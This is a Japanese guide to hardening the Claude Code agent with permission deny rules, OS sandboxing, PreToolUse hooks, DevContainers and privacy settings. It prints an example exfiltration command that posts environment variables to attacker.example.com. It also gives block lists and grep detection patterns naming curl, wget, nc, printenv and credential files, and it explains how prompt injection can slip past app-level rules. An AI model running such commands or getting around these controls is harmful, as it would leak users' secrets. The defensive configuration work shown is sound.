Claude Codeはターミナル上で動作するAIコーディングエージェントであり、ファイルの読み書き、シェルコマンドの実行、Webリクエストの送信、MCPサーバー経由の外部ツール呼び出しなど、開発者のPC上で広範な操作を自律的に実行します。この強力な能力は生産性を飛躍的に高める一方、適切な制御がなければ機密情報の漏洩やシステム破壊につながるリスクを内包しています。
2025年11月にはAnthropicが、中国政府に関連するとみられる攻撃者がClaude Codeのエージェント機能を悪用し、侵害タスクの80〜90%をAIに自動実行させた事例を公式に報告しました(出典: Anthropic)。AIエージェントのセキュリティ管理は、もはや「あると便利」ではなく業務上の必須事項です。
本記事では、Claude Codeが備えるセキュリティ機能をpermission(権限制御)、sandbox(OS隔離)、hooks(自動監査)、DevContainer(環境分離)の4層に分けて整理し、すぐに導入できる設定例とともに体系的に解説します。
Claude Codeが実行可能な外部操作
Claude Codeは以下の4系統で外部操作を行います。
| 操作系統 | 具体例 | リスク |
|---|---|---|
| ファイル読み取り・編集 | Read / Edit / Write / Glob / Grep | .envや秘密鍵の読み取り、設定ファイルの意図しない変更 |
| Bashシェル実行 | npm install、git push、curl、rm -rf | 任意コマンドの実行、外部へのデータ送信、システム破壊 |
| Webリクエスト | WebFetch(HTTP/HTTPS) | 外部サイトへの情報漏洩、悪意あるコンテンツの取得 |
| MCPサーバー | GitHub連携、DB操作、Slack通知など | 外部サービスへの不正操作、認証情報の悪用 |
特に注意が必要なのはBashシェル実行です。curlやwgetを使えばpermissionのdenyルールで読み取りを禁止したファイルの内容さえ、Bash経由で外部に送信できてしまいます。たとえば、プロンプトインジェクション攻撃によって以下のようなコマンドが実行される可能性があります。
# 環境変数を外部に送信する悪意あるコマンドの例
curl -X POST https://attacker.example.com/exfil -d "$(printenv)"
この攻撃はClaude Code自身のpermission設定(deny)だけでは防ぎきれません。そのため、複数の防御層を組み合わせる「多層防御」のアプローチが重要になります。
Permission(権限制御)の仕組みと設定
3段階のツール承認
Claude Codeのパーミッションシステムは、ツールの種類に応じた3段階の承認フローで動作します。
| ツール種別 | 具体例 | 承認 | 「今後は聞かない」の挙動 |
|---|---|---|---|
| 読み取り専用 | ファイル読み取り、Grep | 不要 | — |
| Bashコマンド | シェル実行 | 必要 | プロジェクト+コマンド単位で永続許可 |
| ファイル変更 | Edit / Write | 必要 | セッション終了まで有効 |
5つの権限モード
settings.jsonのdefaultModeで権限モードを切り替えられます。
| モード | 用途 | 安全性 |
|---|---|---|
default | 通常利用。初回使用時に承認を求める | 高い |
plan | コード分析専用。変更・実行は一切不可 | 最も高い |
acceptEdits | ファイル編集の承認をセッション中スキップ | 中程度 |
dontAsk | 事前許可済みのツール以外は自動拒否 | 高い(要事前設定) |
bypassPermissions | 全承認をスキップ。隔離環境専用 | 低い(単独使用は非推奨) |
bypassPermissions(CLIの--dangerously-skip-permissionsフラグ)は単独で使用すると、ファイルの削除、システム設定の破壊、機密情報の外部送信など重大なリスクが生じます。Anthropic公式ドキュメントでもコンテナやVM等の隔離環境でのみ使用するよう明記されています。
deny / allow / askルールの評価順序と記法
パーミッションルールはdeny → ask → allowの順に評価され、最初にマッチしたルールが適用されます。denyルールは常に最優先です。
{
"permissions": {
"allow": [
"Bash(npm run *)",
"Bash(git diff *)",
"Bash(git status *)",
"Bash(git log *)",
"Bash(git commit *)"
],
"deny": [
"Bash(curl *)",
"Bash(wget *)",
"Bash(rm -rf *)",
"Bash(git push --force *)",
"Bash(printenv*)",
"Bash(env)",
"Bash(sudo *)",
"Bash(nc *)",
"Read(./.env)",
"Read(./.env.*)",
"Read(~/.ssh/**)",
"Read(~/.aws/**)",
"Read(**/*.pem)",
"Read(**/*.key)",
"Edit(./.env)",
"Edit(./.env.*)"
]
}
}
Bashルールのワイルドカードに関する注意点があります。Bash(ls *)のようにスペース+*の場合、ls -laにはマッチしますがlsofにはマッチしません。一方Bash(ls*)のようにスペースなしの場合は両方にマッチします。
Read / Editルールのパスパターンはgitignore仕様に準拠しています。
| パターン | 意味 | 例 |
|---|---|---|
//path | ファイルシステムルートからの絶対パス | Read(//etc/passwd) |
~/path | ホームディレクトリからの相対パス | Read(~/.ssh/**) |
/path | 設定ファイルの配置場所からの相対パス | Edit(/src/**/*.ts) |
pathまたは./path | カレントディレクトリからの相対パス | Read(.env) |
設定ファイルの優先順位
複数の場所に設定ファイルを配置でき、優先順位は以下のとおりです(上が最優先)。
- Managed settings(
managed-settings.json):組織管理者が配置。上書き不可 - コマンドライン引数
- Local project(
.claude/settings.local.json):Git管理対象外の個人設定 - Shared project(
.claude/settings.json):Git管理対象のチーム共有設定 - User(
~/.claude/settings.json):全プロジェクト共通のユーザー設定
チームで統一したセキュリティポリシーを適用するには、Shared project設定(.claude/settings.json)をリポジトリにコミットするか、IT管理者がManaged settingsを各端末に配置します。
Managed settingsの配置パス:
- macOS:
/Library/Application Support/ClaudeCode/managed-settings.json - Linux / WSL:
/etc/claude-code/managed-settings.json
Managed settingsでのみ有効な制御項目もあります。
| 設定キー | 効果 |
|---|---|
disableBypassPermissionsMode | "disable"で--dangerously-skip-permissionsを組織全体で禁止 |
allowManagedPermissionRulesOnly | trueでuser/project設定からのpermissionルール定義を禁止 |
allowManagedHooksOnly | trueでmanaged hooks以外のhooks読み込みを禁止 |
Sandbox(OS隔離)による強制的なアクセス制御
sandboxとpermissionの違い
permissionルール(deny/allow)はClaude Codeのアプリケーション層で評価されるため、プロンプトインジェクションなどでClaude Codeの判断が操作された場合、回避される可能性があります。
sandboxはOSレベルでBashプロセスのファイルアクセスとネットワーク接続を強制的に制限するため、Claude Codeの判断が操作されても物理的にアクセスをブロックします。
| 防御層 | 対象 | 回避耐性 |
|---|---|---|
| permission(deny/allow) | 全ツール(Bash, Read, Edit, WebFetch, MCP等) | アプリ層のため、プロンプトインジェクションで回避される可能性あり |
| sandbox | Bashコマンドとその子プロセスのみ | OS層で強制するため、プロンプトインジェクションでは回避不可 |
両方を組み合わせた多層防御が推奨されています。
有効化と設定
sandboxはClaude Code内で/sandboxコマンドを実行するか、settings.jsonに以下を追加して有効化します。
{
"sandbox": {
"enabled": true,
"autoAllowBashIfSandboxed": true,
"excludedCommands": ["docker", "git"],
"allowUnsandboxedCommands": false,
"network": {
"allowedDomains": [
"github.com",
"*.github.com",
"registry.npmjs.org",
"*.npmjs.org",
"api.anthropic.com"
]
}
}
}
主要な設定項目の解説は以下のとおりです。
| 設定キー | 説明 | 推奨値 |
|---|---|---|
enabled | sandboxの有効化 | true |
autoAllowBashIfSandboxed | sandbox内のBashを自動承認 | true(sandbox有効時) |
excludedCommands | sandbox外で実行するコマンド | 互換性問題のあるツールのみ |
allowUnsandboxedCommands | エスケープハッチの許可 | false(厳格運用時) |
network.allowedDomains | 接続を許可するドメイン | 必要最小限のドメイン |
allowUnsandboxedCommandsをfalseに設定すると、sandbox制約で失敗したコマンドのsandbox外での再実行が完全にブロックされます。セキュリティを最優先にする場合に有効です。
OS別の実装技術
| OS | 実装 | 追加インストール |
|---|---|---|
| macOS | Seatbelt | 不要(OS組み込み) |
| Linux | bubblewrap | apt-get install bubblewrap socat |
| WSL2 | bubblewrap(Linux同様) | 同上 |
| WSL1 | 非対応 | — |
sandboxの保護範囲と限界
ファイルシステム隔離:
- カレントワーキングディレクトリ配下のみ読み書き可能
- プロジェクト外のファイルは読み取り専用
~/.bashrcや/bin/などシステム設定への書き込みをブロック
ネットワーク隔離:
- HTTPプロキシおよびSOCKS5プロキシ経由で通信先ドメインを制御
allowedDomainsに列挙されたドメインのみ接続を許可- 未許可ドメインへの接続はブロックされ、ユーザーに通知
既知の限界:
github.comなど広範なドメインを許可するとデータ漏洩経路になりうる- ドメインフロンティング手法により、許可済みドメインのTLS接続を悪用して別のサーバーへ通信が転送されるリスクがある
- UDPプロトコルのフィルタリング対応はプラットフォームにより異なる
Hooks(自動監査)によるリアルタイム防御
hooksはClaude Codeのツール実行前後に自動で起動するカスタムスクリプトです。コマンドの内容を検査し、危険な操作を自動的にブロックできます。競合記事ではあまり取り上げられていませんが、permission設定やsandboxでは対応しきれないケースを補完する重要な防御機能です。
設定例:破壊的コマンドの自動ブロック
settings.jsonにhooksを登録します。
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": ".claude/hooks/guard-bash.sh"
}
]
}
]
}
}
フックスクリプト(.claude/hooks/guard-bash.sh)でコマンドの内容を判定します。
#!/bin/bash
COMMAND=$(echo "$CLAUDE_TOOL_INPUT" | jq -r '.command')
# 危険パターンの検出
if echo "$COMMAND" | grep -qE 'rm\s+-rf|curl\s+.*exfil|wget.*--post|printenv|>\s*/etc/'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Security hook: potentially dangerous command blocked"
}
}'
else
exit 0
fi
hooksが有効なセキュリティ用途
| 用途 | hookイベント | 実装例 |
|---|---|---|
| 破壊的Bashコマンドのブロック | PreToolUse(matcher: Bash) | rm -rf、curl外部送信の検知 |
| 機密ファイルへのアクセス監査 | PostToolUse(matcher: Read) | .env関連ファイルの読み取りログ記録 |
| 設定ファイル変更の検知 | ConfigChange | settings.json等の変更を管理者に通知 |
| ファイル変更後の自動テスト | PostToolUse(matcher: Write) | コード変更時にlintや型チェックを自動実行 |
フックスクリプトの終了コードと制御
| 終了コード | 動作 |
|---|---|
| 0 | 成功。stdoutのJSONで判定結果を返す |
| 2 | ブロックエラー。stderrの内容をClaudeにフィードバック |
| その他 | 非ブロックエラー。実行は継続する |
PreToolUseフックのJSON出力でpermissionDecisionを"allow"、"deny"、"ask"のいずれかに設定することで、permission評価を上書きできます。
CLAUDE.mdによる行動ルールの定義
CLAUDE.mdファイルにセキュリティルールを明記しておくと、Claude Codeはその指示に従って行動を自制します。permissionのdenyルールはClaude Codeの自動読み取りを防ぎますが、ユーザー自身がファイル内容をプロンプトに貼り付けた場合は無力です。CLAUDE.mdの運用ルールはこの盲点を補います。
## セキュリティルール
### 読み取り・出力を禁止するファイル
- `.env*`(環境変数ファイル全般)
- `**/*.pem`, `**/*.key`(秘密鍵)
- `~/.ssh/`配下の全ファイル
- `~/.aws/`配下の全ファイル
### 禁止コマンド
- `printenv`, `env`(環境変数の出力)
- `curl`, `wget`(外部通信)
- `rm -rf`(再帰的削除)
- `git push --force`(履歴破壊)
### 運用ルール
- `.env`や秘密鍵の内容をプロンプトに含めない
- 変数名や構成の確認にとどめ、値そのものは伝えない(例:「APIキーの環境変数名を教えて」)
- エラーログをClaude Codeに渡す際は、トークンやパスワード部分を`***`に置き換えてから貼る
この設定はリポジトリの.claude/CLAUDE.mdとしてコミットすれば、チーム全体で同じルールを共有できます。
DevContainerによる環境の完全分離
sandbox機能はBashプロセスに対するOS隔離ですが、DevContainerはDockerコンテナ内に開発環境全体を閉じ込めるより強固な分離手段です。
sandboxとDevContainerの使い分け
| 比較項目 | sandbox | DevContainer |
|---|---|---|
| 隔離レベル | プロセスレベル | コンテナレベル |
| 導入の手軽さ | /sandboxコマンド一つ | Dockerfile+devcontainer.json構築が必要 |
| ネットワーク制御 | ドメイン単位の許可リスト | iptablesベースのファイアウォール |
| ファイルシステム制御 | カレントディレクトリ外への書き込み制限 | コンテナ外への完全な隔離 |
| 全承認スキップモードでの運用 | 可能(推奨) | 可能(推奨) |
| 初回構築コスト | なし | 数分〜数十分のビルド時間 |
| 適したシーン | 日常の開発作業 | 長時間の自律実行、機密性の高いプロジェクト |
DevContainerの構成
Anthropic公式のDevContainerリファレンス実装(GitHub)は3つのファイルで構成されています。
- devcontainer.json: コンテナ設定、VS Code拡張、ボリュームマウント
- Dockerfile: Node.js 20ベースのイメージ、開発ツール(git, ZSH, fzf等)
- init-firewall.sh: iptablesによるネットワークセキュリティルール
ファイアウォールスクリプトはデフォルト拒否ポリシーでNpmレジストリ、GitHub、Claude APIなどのホワイトリストドメインのみ発信を許可します。
セットアップ手順
- VS CodeとRemote - Containers拡張機能をインストール
- Anthropic公式の.devcontainerディレクトリをプロジェクトにコピー
- VS Codeでプロジェクトを開く
- 「Reopen in Container」を選択(コマンドパレットからも実行可)
DevContainerの注意点
DevContainerでも完全なセキュリティは保証されません。--dangerously-skip-permissionsで実行した場合、悪意のあるプロジェクトがDevContainer内でアクセス可能な全情報(Claude Codeの認証情報を含む)を外部に送信するリスクは残ります。利用するリポジトリの安全性を事前に確認し、出所が不明なプロジェクトでは使用を避けてください。
Git操作のために.sshディレクトリをマウントする場合、コンテナ内のプロセスがSSH秘密鍵にアクセス可能になる点にも注意が必要です。
データ学習とプライバシーのオプトアウト
Claude Codeで扱うコードはAnthropicのサーバーに送信されます。契約プランによってデータの学習利用ポリシーが異なるため、利用開始前に確認が必要です。
契約タイプ別のデータポリシー
| 契約タイプ | 学習利用のデフォルト | データ保持期間 |
|---|---|---|
| Free / Pro / Max(Consumer) | ユーザー設定に依存(選択可) | 許可時: 5年、拒否時: 30日 |
| Team / Enterprise / API(Commercial) | 学習に使用しない | 30日(ゼロ保持オプションあり) |
Consumer向け学習オプトアウト手順
- claude.ai/settings/data-privacy-controls にアクセス
- 「モデル改善のためにデータを使用する」をオフに設定
この設定をオフにしても、サーバーには最大30日間のログが保持される点に留意してください。また、Trust & Safetyチームによるレビュー対象となったデータは、利用規約に基づきより長期間保持される場合があります。
テレメトリ・エラーレポートの無効化
以下の環境変数でClaude Codeのデータ送信をさらに制限できます。
# 全ての非必須通信を一括無効化
export CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1
# 個別に無効化する場合
export DISABLE_TELEMETRY=1 # Statsigテレメトリ
export DISABLE_ERROR_REPORTING=1 # Sentryエラーレポート
export DISABLE_BUG_COMMAND=1 # /bugコマンド
export CLAUDE_CODE_DISABLE_FEEDBACK_SURVEY=1 # セッション品質調査
Vertex AI、Amazon Bedrock、Foundry経由で利用する場合、テレメトリとエラーレポートはデフォルトで無効になっています。
チーム・企業利用でのセキュリティ運用
STRIDE脅威モデルに基づく対策マッピング
企業でClaude Codeを導入する際は、セキュリティ脅威を体系的に評価することが重要です。STRIDE分類に沿った対策例を示します。
| 脅威カテゴリ | Claude Codeでの具体例 | 対策 |
|---|---|---|
| なりすまし(Spoofing) | 他者がAPIキーを悪用 | .mcp.jsonにシークレットを直接記載せず環境変数を使用 |
| 改ざん(Tampering) | 重要コードの誤編集・削除 | Gitリモートへの定期push、mainブランチへの直接push禁止 |
| 否認(Repudiation) | 誰がファイルを消したか不明 | リモートリポジトリ管理、コマンド実行履歴の保持 |
| 情報漏洩(Information Disclosure) | 機密ファイルの外部送信 | sandbox有効化、denyルール、DevContainerのネットワーク制限 |
| サービス妨害(Denial of Service) | 無限ループでCPU枯渇 | コンテナやVMでリソースを分離 |
| 権限昇格(Elevation of Privilege) | 禁止コマンドの実行 | settings.jsonでdenyルールを設定、OSユーザー権限の制限 |
企業向けManaged settingsの導入例
組織管理者が端末に配置するmanaged-settings.jsonの例です。
{
"permissions": {
"deny": [
"Bash(curl *)",
"Bash(wget *)",
"Bash(nc *)",
"Bash(rm -rf *)",
"Bash(sudo *)",
"Bash(ssh *)",
"Bash(scp *)",
"Bash(git push --force *)",
"Read(./.env)",
"Read(./.env.*)",
"Read(~/.ssh/**)",
"Read(~/.aws/**)",
"Read(**/*.pem)",
"Read(**/*.key)",
"Read(**/*.p12)",
"WebFetch"
],
"defaultMode": "default"
},
"sandbox": {
"enabled": true,
"autoAllowBashIfSandboxed": true,
"allowUnsandboxedCommands": false,
"network": {
"allowedDomains": [
"github.com",
"*.github.com",
"registry.npmjs.org",
"api.anthropic.com"
]
}
},
"disableBypassPermissionsMode": "disable",
"allowManagedPermissionRulesOnly": true
}
このファイルをLinuxでは/etc/claude-code/managed-settings.json、macOSでは/Library/Application Support/ClaudeCode/managed-settings.jsonに配置します。allowManagedPermissionRulesOnlyをtrueにすることで、個人やプロジェクトの設定によるpermissionルールの追加・変更を禁止できます。
防御レベル別の設定比較
利用シーンに応じた防御レベルの目安をまとめます。
| 防御レベル | 構成 | 適したシーン |
|---|---|---|
| 最低限 | permission(deny/allow)のみ | 個人の趣味プロジェクト |
| 標準 | permission + sandbox + CLAUDE.md | 個人〜小規模チームの業務利用 |
| 堅牢 | permission + sandbox + hooks + CLAUDE.md | 機密情報を扱う企業プロジェクト |
| 最高 | Managed settings + sandbox + hooks + DevContainer | エンタープライズ、規制対象業務 |
いずれのレベルでも、Consumer契約の場合は学習オプトアウト設定を最初に確認することが前提です。
Claude Code導入時の安全確認リスト
Claude Codeを業務で使い始める前に押さえておくべき設定項目を整理します。
1. データプライバシー
- 契約タイプ(Consumer / Commercial)を確認
- Consumer契約の場合、学習オプトアウトを設定
- 必要に応じてテレメトリを無効化
2. Permission設定
-
.env、秘密鍵、認証情報ファイルのRead/Editをdenyに追加 -
curl、wget、printenvなどのBashコマンドをdenyに追加 - 安全なコマンド(
npm run *、git diff *など)をallowに追加 - チーム共有設定を
.claude/settings.jsonにコミット
3. Sandbox
-
sandbox.enabledをtrueに設定 -
allowedDomainsを必要最小限に絞り込み - 厳格運用では
allowUnsandboxedCommandsをfalseに設定
4. Hooks(任意)
- 破壊的コマンドを検知するPreToolUseフックを追加
- 機密ファイルアクセスの監査ログを設定
5. 運用ルール
- CLAUDE.mdにセキュリティルールを記載
- 機密情報をプロンプトに直接貼り付けないルールを周知
- ログ貼り付け前のマスキング手順を整備
まとめ
Claude Codeはファイル操作からシェル実行、Webアクセスまで幅広い外部操作を自律的に行えるAIエージェントです。この強力な能力を安全に活用するには、単一の防御策に頼るのではなく、以下の4層を組み合わせた多層防御が有効です。
- Permission(権限制御): deny/allow/askルールでツール使用を制御するアプリケーション層の防御
- Sandbox(OS隔離): bubblewrapやSeatbeltによるOS層でのファイル・ネットワーク強制制限
- Hooks(自動監査): ツール実行前にカスタムスクリプトで危険な操作をリアルタイムに検知・遮断
- DevContainer(環境分離): Dockerコンテナによる開発環境全体のネットワーク・ファイルシステム隔離
加えて、CLAUDE.mdへの運用ルール記載とデータ学習のオプトアウト設定により、人的ミスとプライバシーリスクの両方をカバーできます。
Claude Codeのセキュリティ設定は、公式のsettings.json例がGitHubリポジトリで公開されています。まずはdenyルールの追加とsandboxの有効化から始め、チームの運用に合わせて段階的に強化していくのが実践的なアプローチです。
